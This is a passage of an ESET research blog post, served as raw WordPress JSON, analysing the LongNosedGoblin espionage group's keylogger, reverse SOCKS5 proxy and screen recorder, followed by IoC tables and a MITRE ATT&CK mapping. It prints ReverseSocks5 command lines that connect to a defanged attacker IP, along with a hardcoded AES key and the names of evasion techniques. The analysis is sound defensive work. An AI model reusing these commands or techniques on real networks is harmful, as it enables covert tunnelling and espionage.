href=\"https:\/\/learn.microsoft.com\/en-us\/powershell\/module\/microsoft.powershell.utility\/invoke-expression?view=powershell-7.4\">Invoke-Expression<\/a>.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>We suspect that NosyDownloader was used to deploy ReverseSocks5, NosyLogger, and an argument runner, as we saw them in the span of one week after NosyDownloader was executed.<\/p>\n<h3>NosyLogger<\/h3>\n<p>We also identified a C#\/.NET keylogger that we named NosyLogger. It seems to be a modified version of the open-source keylogger <a href=\"https:\/\/github.com\/zorggomat\/DuckSharp\">DuckSharp<\/a>, with the main differences being that it doesn\u2019t send emails or translate logged keys into the Cyrillic alphabet.<\/p>\n<p>The malware initially checks whether a debugger is present via the <span>IsDebuggerPresent<\/span> and <span>CheckRemoteDebuggerPresent<\/span> APIs; if not, it begins its keylogging functionality.<\/p>\n<p>Window name, pressed keys, and pasted clipboard content are accumulated in memory. NosyLogger encrypts these data batches using AES with the key <span>D53FCC01038E20193FBD51B7400075CF7C9C4402B73DA7B0DB836B000EBD8B1C<\/span> and a <a href=\"https:\/\/learn.microsoft.com\/en-us\/dotnet\/api\/system.security.cryptography.symmetricalgorithm.generateiv\">randomly generated<\/a> initialization vector of fixed length, where the vector is appended to the encrypted batch of data. The encrypted data batch is then appended to the file at the hardcoded location <span>C:WindowsTempTS_D418.tmp<\/span> in hexadecimal string format. In that file, each encrypted data batch is separated by a newline followed by the string <span>ENDBLOCK<\/span>. This process of encrypting and storing accumulated data to the file takes place every 10 seconds. This file is not exfiltrated by NosyLogger.<\/p>\n<h3>Other deployed tools<\/h3>\n<h4>ReverseSocks5<\/h4>\n<p>Among other malware deployed by LongNosedGoblin, we found an open-source reverse SOCKS5 proxy, written in Go, called <a href=\"https:\/\/github.com\/Acebond\/ReverseSocks5\">ReverseSocks5<\/a>. We discovered it when we noticed the following command line arguments being used:<\/p>\n<p><span>-connect 118.107.234[.]29:8080 -psk &#8220;58fi04qQ&#8221; \/F<\/span><\/p>\n<p>The option <span>-psk<\/span> is used to set a preshared key for encryption and authentication. The argument <span>\/F<\/span> is not handled by ReverseSocks5 and is probably unintentional; this argument is commonly used with <a href=\"https:\/\/learn.microsoft.com\/en-us\/windows-server\/administration\/windows-commands\/schtasks-create\">schtasks create<\/a>.<\/p>\n<p>We then noticed another set of command line arguments (which do not have the <span>\/F<\/span> argument anymore):<\/p>\n<p><span>-connect 118.107.234[.]29:8080 -psk &#8220;15Kaf22N3b&#8221;<\/span><\/p>\n<p>This second set corresponds to execution of ReverseSocks5, where we observed PowerShell as the parent process. NosyDownloader was also executed during this time, indicating that the sample was probably deployed with it.<\/p>\n<h4>Argument runner<\/h4>\n<p>This is a C#\/.NET application with internal name <span>Binary<\/span>; the sole purpose of this tool is to run an application passed as an argument. We saw the filename <span>TCOEdge.exe<\/span> as part of the command line along with arguments that are specific to the <a href=\"https:\/\/ffmpeg.org\/\">FFmpeg<\/a> multimedia framework; it was used to record the screen and capture audio, saving it to <span>C:WindowsTempoutput.avi<\/span>.<\/p>\n<h2>Conclusion<\/h2>\n<p>LongNosedGoblin is a China-aligned APT group that targets governmental entities in Southeast Asia and Japan. Our analysis of its campaigns revealed numerous pieces of custom malware, which the group uses to conduct cyberespionage against its victims. Notably, LongNosedGoblin employs Group Policy to perform lateral movement within the compromised network.<\/p>\n<blockquote>\n<div><em>For any inquiries about our research published on WeLiveSecurity, please contact us at <a href=\"mailto:threatintel@eset.com?utm_source=welivesecurity.com&amp;utm_medium=referral&amp;utm_campaign=autotagging&amp;utm_content=eset-research&amp;utm_term=en\">threatintel@eset.com<\/a>. <\/em><\/div>\n<div><em>ESET Research offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the <a href=\"https:\/\/www.eset.com\/int\/business\/services\/threat-intelligence\/?utm_source=welivesecurity.com&amp;utm_medium=referral&amp;utm_campaign=wls-research&amp;utm_content=longnosedgoblin-tries-sniff-out-governmental-affairs-southeast-asia-japan&amp;sfdccampaignid=7011n0000017htTAAQ\">ESET Threat Intelligence<\/a> page.<\/em><\/div>\n<\/blockquote>\n<h2>IoCs<\/h2>\n<p>A comprehensive list of indicators of compromise (IoCs) and samples can be found in <a href=\"https:\/\/github.com\/eset\/malware-ioc\/tree\/master\/longnosedgoblin\">our GitHub repository<\/a>.<\/p>\n<h3>Files<\/h3>\n<\/p>\n<table border=\"1\" cellpadding=\"0\" cellspacing=\"0\">\n<thead>\n<tr>\n<td><strong>SHA-1<\/strong><\/td>\n<td><strong>Filename<\/strong><\/td>\n<td><strong>Detection<\/strong><\/td>\n<td><strong>Description<\/strong><\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><span>4E3F6E9D0F443F4C4297<wbr><\/wbr>4A0551EEE957B498DA3D<\/span><\/td>\n<td><span>History.ini<\/span><\/td>\n<td>MSIL\/Spy.Agent.EUU<\/td>\n<td>NosyHistorian.<\/td>\n<\/tr>\n<tr>\n<td><span>CD745BD2636F607CC4FB<wbr><\/wbr>9389535BF3579321CA72<\/span><\/td>\n<td><span>History.ini<\/span><\/td>\n<td>MSIL\/Spy.Agent.EUU<\/td>\n<td>NosyHistorian.<\/td>\n<\/tr>\n<tr>\n<td><span>154A35DD4117DB760699<wbr><\/wbr>C2092AFB307E94008506<\/span><\/td>\n<td><span>Registry.plo<\/span><\/td>\n<td>MSIL\/TrojanDropper<wbr><\/wbr>.Agent.GBQ<\/td>\n<td>NosyDoor stage 1.<\/td>\n<\/tr>\n<tr>\n<td><span>B1D4A283A9CCC9E34993<wbr><\/wbr>DD2093A904AFBD88B9B9<\/span><\/td>\n<td><span>Registry.pol<\/span><\/td>\n<td>MSIL\/TrojanDropper<wbr><\/wbr>.Agent.GBQ<\/td>\n<td>NosyDoor stage 1.<\/td>\n<\/tr>\n<tr>\n<td><span>77D2A8CB316B7A470E76<wbr><\/wbr>E163551A00BB16A696C5<\/span><\/td>\n<td><span>Registry.plo<\/span><\/td>\n<td>MSIL\/TrojanDropper<wbr><\/wbr>.Agent.GBQ<\/td>\n<td>NosyDoor stage 1.<\/td>\n<\/tr>\n<tr>\n<td><span>F93E449C5520C4718E28<wbr><\/wbr>4375C54BE33711505985<\/span><\/td>\n<td><span>Registry.pol<\/span><\/td>\n<td>MSIL\/TrojanDropper<wbr><\/wbr>.Agent.GBQ<\/td>\n<td>NosyDoor stage 1.<\/td>\n<\/tr>\n<tr>\n<td><span>1959E2198D6F81B2604D<wbr><\/wbr>F7AC1F508AEB7A6FA07E<\/span><\/td>\n<td><span>SharedReg.dll<\/span><\/td>\n<td>MSIL\/Kryptik.AJBA<\/td>\n<td>NosyDoor stage 2.<\/td>\n<\/tr>\n<tr>\n<td><span>E0B44715BC4C327C04E6<wbr><\/wbr>3F881ECC087B7ACBD306<\/span><\/td>\n<td>N\/A<\/td>\n<td>MSIL\/Agent.ESF<\/td>\n<td>NosyDoor stage 3.<\/td>\n<\/tr>\n<tr>\n<td><span>43C8AE8561E7E3BF9CD7<wbr><\/wbr>48136C091099E5CBEEEE<\/span><\/td>\n<td>N\/A<\/td>\n<td>MSIL\/Agent.ESF<\/td>\n<td>NosyDoor stage 3.<\/td>\n<\/tr>\n<tr>\n<td><span>D11FC2D6159CB8BA392B<wbr><\/wbr>145B3EE4ADFA15DB4C83<\/span><\/td>\n<td>N\/A<\/td>\n<td>MSIL\/Agent.ESF<\/td>\n<td>NosyDoor stage 3.<\/td>\n<\/tr>\n<tr>\n<td><span>A0A80AC293645076EBAE<wbr><\/wbr>393FF0A6A4229E2EDE1C<\/span><\/td>\n<td><span>pmp.exe<\/span><\/td>\n<td>Win64\/Agent.DNY<\/td>\n<td>NosyStealer stage 1.<\/td>\n<\/tr>\n<tr>\n<td><span>DDBBAE33E04A49D17DD2<wbr><\/wbr>4D85B637667B4407AE19<\/span><\/td>\n<td><span>SERV.dll<\/span><\/td>\n<td>Win64\/Agent.DNX<\/td>\n<td>NosyStealer stage 2.<\/td>\n<\/tr>\n<tr>\n<td><span>60158C509446893B3B57<wbr><\/wbr>D40DC4B4B3795FCDF369<\/span><\/td>\n<td><span>HPSupportAssistant<wbr><\/wbr>.exe<\/span><\/td>\n<td>PowerShell\/TrojanDown<wbr><\/wbr>loader.Agent.JJO<\/td>\n<td>NosyDownloader.<\/td>\n<\/tr>\n<tr>\n<td><span>F5B7440EE25116A49EC5<wbr><\/wbr>EE82507B353880217AC1<\/span><\/td>\n<td><span>RTLWVern.exe<\/span><\/td>\n<td>PowerShell\/Agent.BDR<\/td>\n<td>NosyDownloader.<\/td>\n<\/tr>\n<tr>\n<td><span>85939C56BFCACD0993E6<wbr><\/wbr>FB9F7CFD6137601FB7D4<\/span><\/td>\n<td><span>hpSmartAdapter.exe<\/span><\/td>\n<td>Win32\/Agent.AGIJ<\/td>\n<td>NosyDownloader.<\/td>\n<\/tr>\n<tr>\n<td><span>C66F9FEC0F8CBF577840<wbr><\/wbr>944F61198A75B3E2A58C<\/span><\/td>\n<td><span>hputils.exe<\/span><\/td>\n<td>Win32\/Agent.AGII<\/td>\n<td>NosyDownloader.<\/td>\n<\/tr>\n<tr>\n<td><span>4C2FCCE3BAB4144D90C7<wbr><\/wbr>41A6D77ADF209C786B54<\/span><\/td>\n<td><span>IGCCSvc.exe<\/span><\/td>\n<td>MSIL\/Spy.Key<wbr><\/wbr>logger.FVW<\/td>\n<td>NosyLogger.<\/td>\n<\/tr>\n<tr>\n<td><span>161A25CB0B8FA998BF1B<wbr><\/wbr>DEE31F06F24876453CDF<\/span><\/td>\n<td><span>AdobeHelper.exe<\/span><\/td>\n<td>WinGo\/ReverseShell.DX<\/td>\n<td>ReverseSocks5.<\/td>\n<\/tr>\n<tr>\n<td><span>4D61A9FBBCC4F7A37BE2<wbr><\/wbr>1548B55BB5B9B837F83B<\/span><\/td>\n<td><span>msi.dll<\/span><\/td>\n<td>Win64\/Agent.DOT<\/td>\n<td>NosyStealer stage 2.<\/td>\n<\/tr>\n<tr>\n<td><span>5AE440805719250AAEFE<wbr><\/wbr>E9B39DACD23D2FB573CD<\/span><\/td>\n<td><span>TCOCertified.exe<\/span><\/td>\n<td>MSIL\/Runner.BW<\/td>\n<td>Argument runner.<\/td>\n<\/tr>\n<tr>\n<td><span>E93D32C739825519A10A<wbr><\/wbr>4C52C5F1EE33936E4FDB<\/span><\/td>\n<td>N\/A<\/td>\n<td>WinGo\/PSW.Agent.FZ<\/td>\n<td>NosyStealer stage 4.<\/td>\n<\/tr>\n<tr>\n<td><span>212126896D38C1EE5732<wbr><\/wbr>0FB6940FED7A6E30D9EA<\/span><\/td>\n<td>N\/A<\/td>\n<td>Win32\/Agent.AGHB<\/td>\n<td>NosyStealer stage 3.<\/td>\n<\/tr>\n<tr>\n<td><span>CFFE15AA4D0F9E6577CC<wbr><\/wbr>B509ACE9C588937943F2<\/span><\/td>\n<td><span>HPNDFInterface.exe<\/span><\/td>\n<td>PowerShell\/TrojanDown<wbr><\/wbr>loader.Agent.JJO<\/td>\n<td>NosyDownloader.<\/td>\n<\/tr>\n<tr>\n<td><span>6AC22CE60B706E3B9A79<wbr><\/wbr>27633116911E1087C0D4<\/span><\/td>\n<td><span>bemsvc.exe<\/span><\/td>\n<td>PowerShell\/TrojanDown<wbr><\/wbr>loader.Agent.JJO<\/td>\n<td>NosyDownloader.<\/td>\n<\/tr>\n<tr>\n<td><span>2C1959DD85424CEDC96B<wbr><\/wbr>1BB86A95FCA440CB9E36<\/span><\/td>\n<td><span>HPDeviceCheck.exe<\/span><\/td>\n<td>Win32\/Agent.AGWU<\/td>\n<td>NosyDownloader.<\/td>\n<\/tr>\n<tr>\n<td><span>46107B1292B830D9BCEB<wbr><\/wbr>BDA6EEDB32FBC05707B4<\/span><\/td>\n<td><span>HP.OCF.exe<\/span><\/td>\n<td>Win32\/Patched.NLL<\/td>\n<td>NosyDownloader.<\/td>\n<\/tr>\n<tr>\n<td><span>581464978C29B2BC79C6<wbr><\/wbr>5766E62011C94D2CBEAB<\/span><\/td>\n<td><span>HP.OCF.exe<\/span><\/td>\n<td>Win32\/Patched.NLL<\/td>\n<td>NosyDownloader.<\/td>\n<\/tr>\n<tr>\n<td><span>0D91A0E52212EC44E32C<wbr><\/wbr>47F7760AF3B473B72798<\/span><\/td>\n<td><span>ax_installer.exe<\/span><\/td>\n<td>PowerShell\/TrojanDown<wbr><\/wbr>loader.Agent.JJO<\/td>\n<td>NosyDownloader.<\/td>\n<\/tr>\n<tr>\n<td><span>48D715466857FB0C6CD0<wbr><\/wbr>249DE6D960FC199438E1<\/span><\/td>\n<td><span>btdevmanager.exe<\/span><\/td>\n<td>MSIL\/Spy.Keylogger<wbr><\/wbr>_AGen.DL<\/td>\n<td>NosyLogger.<\/td>\n<\/tr>\n<tr>\n<td><span>563677CFACD328EA2478<wbr><\/wbr>836E58A8BD0DF11206A3<\/span><\/td>\n<td><span>info.txt<\/span><\/td>\n<td>MSIL\/Spy.Agent.EUU<\/td>\n<td>NosyHistorian.<\/td>\n<\/tr>\n<tr>\n<td><span>AC2264C56121141DAF75<wbr><\/wbr>1A3852CD34F3ACB1D63C<\/span><\/td>\n<td><span>ntrtscan.exe<\/span><\/td>\n<td>MSIL\/Spy.Agent.EUU<\/td>\n<td>NosyHistorian.<\/td>\n<\/tr>\n<tr>\n<td><span>70A615BC580522E1EEE4<wbr><\/wbr>B61394DC7A247FE47022<\/span><\/td>\n<td><span>ntrtscan.exe<\/span><\/td>\n<td>MSIL\/Spy.Agent.EUU<\/td>\n<td>NosyHistorian.<\/td>\n<\/tr>\n<tr>\n<td><span>E9C5E4AA335DFBD25786<wbr><\/wbr>234A58CE4C9C551D1A41<\/span><\/td>\n<td><span>oci.dll<\/span><\/td>\n<td>Win64\/Kryptik_A<wbr><\/wbr>Gen.UW<\/td>\n<td>Loader of unknown malware (possibly Cobalt Strike).<\/td>\n<\/tr>\n<tr>\n<td><span>EC9CEB599DF3BDFFAD53<wbr><\/wbr>6900D0E6D48E2E5FF12B<\/span><\/td>\n<td><span>mscorsvc.dll<\/span><\/td>\n<td>Win64\/Kryptik.EHP<\/td>\n<td>Loader of unknown malware (possibly Cobalt Strike).<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>Network<\/h3>\n<\/p>\n<table border=\"1\" cellpadding=\"0\" cellspacing=\"0\" width=\"642\">\n<thead>\n<tr>\n<td width=\"142\"><strong>IP<\/strong><\/td>\n<td width=\"190\"><strong>Domain<\/strong><\/td>\n<td width=\"104\"><strong>Hosting provider<\/strong><\/td>\n<td width=\"71\"><strong>First seen<\/strong><\/td>\n<td width=\"113\"><strong>Details<\/strong><\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td width=\"142\"><span>118.107.234[.]26<\/span><\/td>\n<td width=\"190\"><span>www.sslvpn<wbr><\/wbr>server[.]com<\/span><\/td>\n<td width=\"104\">IRT\u2011IPSERVERONE\u2011MY<\/td>\n<td width=\"71\">2022\u201104\u201109<\/td>\n<td width=\"113\">NosyDownloader C&amp;C server.<\/td>\n<\/tr>\n<tr>\n<td width=\"142\"><span>103.159.132[.]30<\/span><\/td>\n<td width=\"190\"><span>www.thread<wbr><\/wbr>stub[.]com<\/span><\/td>\n<td width=\"104\">IRT-FBP-MY<\/td>\n<td width=\"71\">2023\u201110\u201103<\/td>\n<td width=\"113\">NosyDownloader C&amp;C server.<\/td>\n<\/tr>\n<tr>\n<td width=\"142\"><span>101.99.88[.]113<\/span><\/td>\n<td width=\"190\"><span>www.blaze<wbr><\/wbr>newso[.]com<\/span><\/td>\n<td width=\"104\">Shinjiru Technology Sdn Bhd<\/td>\n<td width=\"71\">2024\u201108\u201123<\/td>\n<td width=\"113\">NosyDownloader C&amp;C server.<\/td>\n<\/tr>\n<tr>\n<td width=\"142\"><span>118.107.234[.]29<\/span><\/td>\n<td width=\"190\">N\/A<\/td>\n<td width=\"104\">IRT\u2011IPSERVERONE\u2011MY<\/td>\n<td width=\"71\">2023\u201103\u201120<\/td>\n<td width=\"113\">ReverseSocks5 server.<\/td>\n<\/tr>\n<tr>\n<td width=\"142\"><span>101.99.88[.]188<\/span><\/td>\n<td width=\"190\"><span>www.privacy<wbr><\/wbr>policy-my[.]com<\/span><\/td>\n<td width=\"104\">Shinjiru Technology Sdn Bhd administrator<\/td>\n<td width=\"71\">2024\u201110\u201123<\/td>\n<td width=\"113\">NosyDownloader C&amp;C server.<\/td>\n<\/tr>\n<tr>\n<td width=\"142\"><span>38.54.17[.]131<\/span><\/td>\n<td width=\"190\">N\/A<\/td>\n<td width=\"104\">Kaopu Cloud HK Limited<\/td>\n<td width=\"71\">2025\u201103\u201105<\/td>\n<td width=\"113\">Server hosting malware, possibly Cobalt Strike.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>MITRE ATT&amp;CK techniques<\/h2>\n<p>This table was built using <a href=\"https:\/\/attack.mitre.org\/resources\/versions\/\">version 18<\/a> of the MITRE ATT&amp;CK framework<strong>.<\/strong><\/p>\n<\/p>\n<table border=\"1\" cellpadding=\"0\" cellspacing=\"0\" width=\"642\">\n<thead>\n<tr>\n<td width=\"113\"><strong>Tactic<\/strong><\/td>\n<td width=\"113\"><strong>ID<\/strong><\/td>\n<td width=\"151\"><strong>Name<\/strong><\/td>\n<td width=\"265\"><strong>Description<\/strong><\/td>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td rowspan=\"2\" width=\"113\"><strong>Resource Development<\/strong><\/td>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/techniques\/T1585\/003\/\">T1585.003<\/a><\/td>\n<td width=\"151\">Establish Accounts: Cloud Accounts<\/td>\n<td width=\"265\">LongNosedGoblin created accounts on cloud-based services for C&amp;C communication.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/techniques\/T1588\/001\/\">T1588.001<\/a><\/td>\n<td width=\"151\">Obtain Capabilities: Malware<\/td>\n<td width=\"265\">LongNosedGoblin likely used shared malware that we named NosyDoor.<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"3\" width=\"113\"><strong>Execution<\/strong><\/td>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1059\/001\">T1059.001<\/a><\/td>\n<td width=\"151\">Command and Scripting Interpreter: PowerShell<\/td>\n<td width=\"265\">NosyDownloader executes PowerShell commands.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1059\/003\">T1059.003<\/a><\/td>\n<td width=\"151\">Command and Scripting Interpreter: Windows Command Shell<\/td>\n<td width=\"265\">NosyDoor may execute commands via <sub>cmd.exe<\/sub>.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1106\/\">T1106<\/a><\/td>\n<td width=\"151\">Native API<\/td>\n<td width=\"265\">NosyStealer Stage 1 executes the next stage via the <span>LoadLibraryW<\/span> API.<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"2\" width=\"113\"><strong>Persistence<\/strong><\/td>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1053\/005\">T1053.005<\/a><\/td>\n<td width=\"151\">Scheduled Task\/Job: Scheduled Task<\/td>\n<td width=\"265\">NosyDoor and NosyStealer are persisted using Windows scheduled tasks.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1574\/014\">T1574.014<\/a><\/td>\n<td width=\"151\">Hijack Execution Flow: AppDomainManager<\/td>\n<td width=\"265\">NosyDoor Stage 2 uses AppDomainManager injection to run malicious code.<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"10\" width=\"113\"><strong>Defense Evasion<\/strong><\/td>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1027\/013\/\">T1027.013<\/a><\/td>\n<td width=\"151\">Obfuscated Files or Information: Encrypted\/Encoded File<\/td>\n<td width=\"265\">Malicious files embedded in NosyDoor Stage 1 are encrypted via DES.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/techniques\/T1027\/015\/\">T1027.015<\/a><\/td>\n<td width=\"151\">Obfuscated Files or Information: Compression<\/td>\n<td width=\"265\">NosyDownloader Stage 4 is compressed using gzip.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1622\">T1622<\/a><\/td>\n<td width=\"151\">Debugger Evasion<\/td>\n<td width=\"265\">NosyLogger does not operate if a debugger is present.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1480\">T1480<\/a><\/td>\n<td width=\"151\">Execution Guardrails<\/td>\n<td width=\"265\">Some samples of NosyDoor operate only on machines with specific names.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1564\/003\">T1564.003<\/a><\/td>\n<td width=\"151\">Hide Artifacts: Hidden Window<\/td>\n<td width=\"265\">NosyDownloader creates a PowerShell process with a hidden window.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1562\/001\">T1562.001<\/a><\/td>\n<td width=\"151\">Impair Defenses: Disable or Modify Tools<\/td>\n<td width=\"265\">NosyDoor Stage 2, NosyStealer Stage 3, and NosyDownloader bypass AMSI.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1036\/005\">T1036.005<\/a><\/td>\n<td width=\"151\">Masquerading: Match Legitimate Name or Location<\/td>\n<td width=\"265\">NosyHistorian Stage 1 was observed with the name <span>Registry.pol<\/span>, masquerading as a Registry Policy file.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1218\">T1218<\/a><\/td>\n<td width=\"151\">Signed Binary Proxy Execution<\/td>\n<td width=\"265\">NosyDoor Stage 1 executes the next stage by leveraging the legitimate <span>UevAppMonitor.exe<\/span>.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1055\">T1055<\/a><\/td>\n<td width=\"151\">Process Injection<\/td>\n<td width=\"265\">One observed NosyStealer Stage 2 injects Stage 3 to <span>pmp.exe<\/span> via <span>CreateRemoteThread<\/span>. The other observed sample injects to <span>notepad.exe<\/span> via <span>SetThreadContext<\/span> with <span>ResumeThread<\/span>.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1620\">T1620<\/a><\/td>\n<td width=\"151\">Reflective Code Loading<\/td>\n<td width=\"265\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/software\/S0695\/\">Donut<\/a> has been used to execute NosyStealer Stage 3 and Stage 4 in memory.<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"3\" width=\"113\"><strong>Discovery<\/strong><\/td>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1217\">T1217<\/a><\/td>\n<td width=\"151\">Browser Information Discovery<\/td>\n<td width=\"265\">NosyHistorian collects browser history from Google Chrome, Microsoft Edge, and Mozilla Firefox.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1083\">T1083<\/a><\/td>\n<td width=\"151\">File and Directory Discovery<\/td>\n<td width=\"265\">NosyDoor can list files and directories.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1082\">T1082<\/a><\/td>\n<td width=\"151\">System Information Discovery<\/td>\n<td width=\"265\">NosyDoor obtains system information as part of C&amp;C beaconing.<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"4\" width=\"113\"><strong>Collection<\/strong><\/td>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1056\/001\">T1056.001<\/a><\/td>\n<td width=\"151\">Input Capture: Keylogging<\/td>\n<td width=\"265\">NosyLogger logs keystrokes.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1125\">T1125<\/a><\/td>\n<td width=\"151\">Video Capture<\/td>\n<td width=\"265\">LongNosedGoblin has used video recording software, likely FFmpeg, to capture audio and video.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1560\/\">T1560<\/a><\/td>\n<td width=\"151\">Archive Collected Data<\/td>\n<td width=\"265\">NosyLogger encrypts collected data via AES.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1074\/001\/\">T1074.001<\/a><\/td>\n<td width=\"151\">Data Staged: Local Data Staging<\/td>\n<td width=\"265\">NosyLogger stores pressed keys, window names, and clipboard content to a file at a hardcoded path.<\/td>\n<\/tr>\n<tr>\n<td rowspan=\"5\" width=\"113\"><strong>Command and Control<\/strong><\/td>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1071\/001\">T1071.001<\/a><\/td>\n<td width=\"151\">Application Layer Protocol: Web Protocols<\/td>\n<td width=\"265\">NosyDownloader uses HTTP to download further payload.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1105\/\">T1105<\/a><\/td>\n<td width=\"151\">Ingress Tool Transfer<\/td>\n<td width=\"265\">NosyDoor and NosyDownloader can download and run subsequent payloads.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1102\/002\">T1102.002<\/a><\/td>\n<td width=\"151\">Web Service: Bidirectional Communication<\/td>\n<td width=\"265\">NosyDoor uses Microsoft OneDrive as its C&amp;C server. NosyStealer uses Google Docs to receive a trigger command and to send debug messages, and Google Drive to exfiltrate browser data.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/techniques\/T1573\/001\/\">T1573.001<\/a><\/td>\n<td width=\"151\">Encrypted Channel: Symmetric Cryptography<\/td>\n<td width=\"265\">NosyDoor encrypts C&amp;C command outputs via AES.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/techniques\/T1573\/002\/\">T1573.002<\/a><\/td>\n<td width=\"151\">Encrypted Channel: Asymmetric Cryptography<\/td>\n<td width=\"265\">NosyDoor uses RSA to encrypt metadata that is sent to the C&amp;C server.<\/td>\n<\/tr>\n<tr>\n<td width=\"113\"><strong>Exfiltration<\/strong><\/td>\n<td width=\"113\"><a href=\"https:\/\/attack.mitre.org\/versions\/v18\/techniques\/T1567\/002\">T1567.002<\/a><\/td>\n<td width=\"151\">Exfiltration Over Web Service: Exfiltration to Cloud Storage<\/td>\n<td width=\"265\">NosyStealer exfiltrates browser data to Google Drive.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><a href=\"https:\/\/www.eset.com\/int\/business\/services\/threat-intelligence\/?utm_source=welivesecurity.com&amp;utm_medium=referral&amp;utm_campaign=wls-research&amp;utm_content=longnosedgoblin-tries-sniff-out-governmental-affairs-southeast-asia-japan&amp;sfdccampaignid=7011n0000017htTAAQ\"><img loading=\"lazy\" decoding=\"async\" alt=\"\" height=\"296\" src=\"https:\/\/web-assets.esetstatic.com\/wls\/eti-eset-threat-intelligence.png\" width=\"915\"><\/a><\/p>\n<p class=\"wls-source\"><a href=\"https:\/\/www.welivesecurity.com\/en\/eset-research\/longnosedgoblin-tries-sniff-out-governmental-affairs-southeast-asia-japan\/\" rel=\"nofollow noopener\" target=\"_blank\">Read the full analysis on WeLiveSecurity \u2192<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>ESET researchers discovered a China-aligned APT group, LongNosedGoblin, which uses Group Policy to deploy cyberespionage tools across networks of governmental institutions<\/p>\n","protected":false},"author":5,"featured_media":9102,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[2878],"tags":[],"class_list":["post-9101","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-eset-research"],"acf":[],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.eset.ee\/et\/en\/wp-json\/wp\/v2\/posts\/9101","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.eset.ee\/et\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.eset.ee\/et\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.eset.ee\/et\/en\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.eset.ee\/et\/en\/wp-json\/wp\/v2\/comments?post=9101"}],"version-history":[{"count":1,"href":"https:\/\/blog.eset.ee\/et\/en\/wp-json\/wp\/v2\/posts\/9101\/revisions"}],"predecessor-version":[{"id":9876,"href":"https:\/\/blog.eset.ee\/et\/en\/wp-json\/wp\/v2\/posts\/9101\/revisions\/9876"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.eset.ee\/et\/en\/wp-json\/wp\/v2\/media\/9102"}],"wp:attachment"